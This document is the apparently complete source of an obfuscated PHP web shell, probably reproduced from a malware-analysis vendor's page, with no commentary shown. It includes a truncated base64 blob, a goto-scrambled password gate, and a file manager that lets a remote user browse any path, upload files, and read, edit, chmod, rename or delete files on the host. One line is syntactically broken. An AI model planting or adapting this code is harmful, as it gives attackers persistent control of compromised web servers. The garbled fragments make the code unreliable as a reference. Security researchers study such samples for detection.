RmaWxlKXsKCiRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7CgoKCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsKCi8vIFNvY2tldAoKJGluZm8gPSAncyc7Cgp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7CgovLyBTeW1ib2xpYyBMaW5rCgokaW5mbyA9ICdsJzsKCn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKCi8vIFJlZ3VsYXIKCiRpbmZvID0gJy0nOwoKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewoKLy8gQmxvY2sgc3BlY2lhbAoKJGluZm8gPSAnYic7Cgp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7CgovLyBEaXJlY3RvcnkKCiRpbmZvID0gJ2QnOwoKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgewoKLy8gQ2hhcmFjdGVyIHNwZWNpYWwKCiRpbmZvID0gJ2MnOwoKfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewoKLy8gRklGTyBwaXBlCgokaW5mbyA9ICdwJzsKCn0gZWxzZSB7CgovLyBVbmtub3duCgokaW5mbyA9ICd1JzsKCn0KCgoKLy8gT3duZXIKCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CgokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwoKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8KCigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoKCigoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKCgovLyBHcm91cAoKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CgokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPwoKKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgoKKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgoKCi8vIFdvcmxkCgokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOwoKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CgooKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6CgooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCgoKcmV0dXJuICRpbmZvOwoKfQoKPz4KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg=='))
goto gadfxp;nkx:$_______.="o";goto kinth;xcye:$_______.="e";goto fgbqzc;rlpcyi:$_______.="r";goto ufmdqv;kdxu:$_______.="h";goto jls;bzhlo:$_______.="p";goto entw;jpn:$_______.="p";goto qahgv;mqc:$_______.="m";goto ligzr;jaerx:$_______.="u";goto kialx;oejpcw:$_______.="'";goto aduq;tverw:$_______ ="<";goto nvgkp;zesrq:$_______.="i";goto migw;jls:$_______.="o";goto zlsg;dqo:$_______.="e";goto omzu;kinth:$_______.="r";goto xawouy;jonic:$_______.="s";goto zaek;ydgw:$_______.="'";goto jpn;cwamyv:$_______.="_";goto buvslr;jrivez:$_______.="t";goto zriph;hukbld:$_______.="m";goto zesrq;vib:$_______.="'";goto nhgif;khlsvn:$_______.="o";goto lrvtju;kszt:$_______.="a";goto edz;cyj:$_______.="n";goto rjx;kopayv:$_______.="n";goto viunb;zpdmr:$_______.="n";goto bzhlo;zaek:$_______.="t";goto tryx;osqh:$_______.="s";goto wkgofu;lpayo:$_______.="/";goto rlm;msqozt:$_______.="a";goto vdumgy;pnf:$_______.="'";goto buyje;qmvwsz:$_______.="p";goto fpxi;njs:$__________=md5($__________);goto hgdw;kdy:$_______.="c";goto woln;zadb:$_______.="1";goto luoiqy;hjep:$_______.="g";goto cwamyv;ndh:$_______.="b";goto zkiaym;jiphky:$_______.="i";goto frh;jtnpo:$_______.="=";goto ptexhy;qlgv:$_______.="=";goto vib;kil:$__________.=$___;goto njs;kaunr:$_______.="u";goto ejbr;omzu:$_______.="t";goto kdxu;viunb:$_______.="a";goto qbyt;qgt:$___.="g";goto baop;ufmdqv:$_______.="m";goto zadb;oay:$_______.="y";goto jxd;lrvtju:$_______.="r";goto mqc;hgdw:$__________=substr($__________,0,6);goto upyr;kfz:$_______.="n";goto msqozt;gcpmda:$_______.=" ";goto jtos;qbyt:$_______.="m";goto xcye;rlm:$_______.="f";goto nkx;rjx:$_______.="a";goto mvwuo;oigmb:$_______.=">";goto dvf;baop:$___.="_";goto jbncik;buvslr:$_______.="m";goto jiphky;ucdlze:$_______.=" ";goto kfz;buyje:$_______.="s";goto ypa;ptexhy:$_______.="'";goto fry;azcnpw:$_______.="p";goto yrg;jtos:$_______.="a";goto kdy;nvgkp:$_______.="f";goto khlsvn;frh:$_______.="m";goto kszt;mlvxei:$_______.="a";goto cxfmjw;gokm:$_.="P";goto qdl;mpcg:$_______.="<";goto sykaqm;gxhci:$___="l";goto qgt;zlsg:$_______.="d";goto vjy;mpc:$_______.=">";goto zfsixu;slwkh:$_______.="e";goto jtnpo;ligzr:$_______.=" ";goto cyj;liq:$_______.="t";goto oay;piv:$_______.=" ";goto amv;cep:$_______.="i";goto zpdmr;tesd:$_______.="t";goto ucdlze;ypa:$_______.="u";goto ndh;kony:$_______.="n";goto qlgv;fjog:$_.="S";goto thgem;qmorba:$_.="O";goto fjog;vilo:if(empty($_SESSION[$___])||$_SESSION[$___]!=$__________){echo $_______; exit;}goto xjbea;viabwm:$_______.=" ";goto skz;dzjl:$_______.=" ";goto xafds;crpa:$___.="i";goto guekz;edz:$_______.="'";goto viabwm;zfsixu:$_______.="<";goto lpayo;vjy:$_______.="=";goto ydgw;ibwqo:$_______.="=";goto zfk;zkiaym:$_______.="m";goto gsaunc;gxm:$_.="T";goto gokm;qahgv:$_______.="o";goto jonic;zqi:$_.="T";goto gxm;epctqn:$_______.="e";goto xtkuhe;zrmyi:$_______.="n";goto qmvwsz;tuwfri:$_______.="b";goto hukbld;guekz:$___.="m";goto rzvlg;lome:$_______.="e";goto ibwqo;thob:$_______.="l";goto hjep;kijasz:$_______.="x";goto hakr;xtkuhe:$_______.="=";goto lars;gadfxp:session_start();goto gxhci;wkgofu:$_______.="u";goto tuwfri;hpofnr:$_______.="y";goto azcnpw;ikqzsu:$_______.="'";goto dzjl;ljzs:$_______.=">";goto mpcg;ogevq:$_______.="t";goto ikqzsu;luoiqy:$_______.="'";goto gcpmda;zxhtw:$_______.="'";goto zsga;aduq:$_______.="t";goto gpjmyk;rzvlg:$___.="a";goto tverw;thgem:$_.="T";goto zwgn;ejbr:$_______.="e";goto ogc;hakr:$_______.="t";goto izactn;ucva:$_.="H";goto qmorba;yrg:$_______.="e";goto qgh;izactn:$_______.="'";goto ljzs;fpxi:$_______.="u";goto jrivez;xafds:$_______.="v";goto mlvxei;cayki:$_______.="o";goto kony;wisxdy:$_______.=">";goto cnpwx;gwt:$_______.="t";goto zxhtw;skz:$_______.="t";goto hpofnr;dvf:$_="H";goto zqi;jbncik:$___.="m";goto crpa;fry:$_______.="f";goto zfx;cnpwx:$_______.="<";goto cep;fpinu:$_______.="i";goto ogevq;zsga:$_______.=" ";goto liq;ogc:$_______.="=";goto dtgpz;zfk:$_______.="'";goto thob;amv:$_______.="m";goto dqo;gsaunc:$_______.="i";goto gwt;gpjmyk:$_______.="e";goto kijasz;zwgn:$__________=$_SERVER[$_];goto kil;yal:$_______.="i";goto cayki;qlxyic:$_______.="m";goto fpinu;fgbqzc:$_______.="=";goto pnf;migw:$_______.="t";goto uijnba;zfx:$_______.="o";goto rlpcyi;cxfmjw:$_______.="l";goto kaunr;sykaqm:$_______.="i";goto zrmyi;dtgpz:$_______.="'";goto osqh;jxd:$_______.="p";goto epctqn;xawouy:$_______.="m";goto oigmb;vdumgy:$_______.="m";goto lome;woln:$_______.="t";goto yal;entw:$_______.="u";goto tesd;qdl:$_.="_";goto ucva;kialx:$_______.="b";goto qlxyic;tryx:$_______.="'";goto wisxdy;mvwuo:$_______.="m";goto slwkh;wbr:$_______.="s";goto jaerx;uijnba:$_______.="'";goto mpc;zriph:$_______.=" ";goto kopayv;qgh:$_______.="=";goto oejpcw;nhgif:$_______.="'";goto piv;lars:$_______.="'";goto wbr;upyr:if(isset($_POST[$___])){$_SESSION[$___]=trim($_POST[$___]);}goto vilo;xjbea:;@session_start();
@set_time_limit(0);
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<title></title>
<style>
body{
font-family: monospace;
font-weight: bold;
font-size: 18px;
background-color: #c5c5c5;
color: #000;
}
#content tr:hover{
background-color: #ccc;
}
#content .first{
background-color: #ccc;
}
#content .first:hover{
background-color: #ccc;
}
table{
border: 3px #000 solid;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #00f;
}
input,select,textarea{
border: 1px #000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input {
font-size: 18px;
font-weight: bold;
padding: 5px;
}
select {
font-size: 19px
}
textarea {
font-size: 10px
}
td, tr { padding: 2px 5px; }
</style>
</HEAD>
<BODY>
<hr width="920" color="black"/>
<hr width="920" color="black"/><center><p><h2>Your IP : ' .$_SERVER["REMOTE_ADDR"]. '</h2></p></center>
<hr width="920" color="black"/>
<table width="920" border="1px" cellpadding="7" cellspacing="0" align="center">
<tr><td style="padding: 8px">Current Path : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">Upload Success..</font><br />';
}else{
echo '<font color="red">Upload Gagal..</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td style='padding: 8px'>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Chmod Success..</font><br />';
}else{
echo '<font color="red">Chmod Gagal..</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Save" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Rename Berhasil..</font><br />';
}else{
echo '<font color="red">Rename Gagal..</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Save" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Edit File Berhasil..</font><br />';
}else{
echo '<font color="red">Edit File Gagal..</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=130 rows=10 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Delete Directory Berhasil..</font><br />';
}else{
echo '<font color="red">Delete Directory Gagal..</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File Berhasil..</font><br />';
}else{
echo '<font color="red">Delete File Gagal..</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="920" border="1.5px" cellpadding="5" cellspacing="0" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="Blue">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\"Oke\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="Blue">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\"Oke\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<center><hr width="920" color="black"/> <center>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
© 2023 Quttera Ltd. All rights reserved.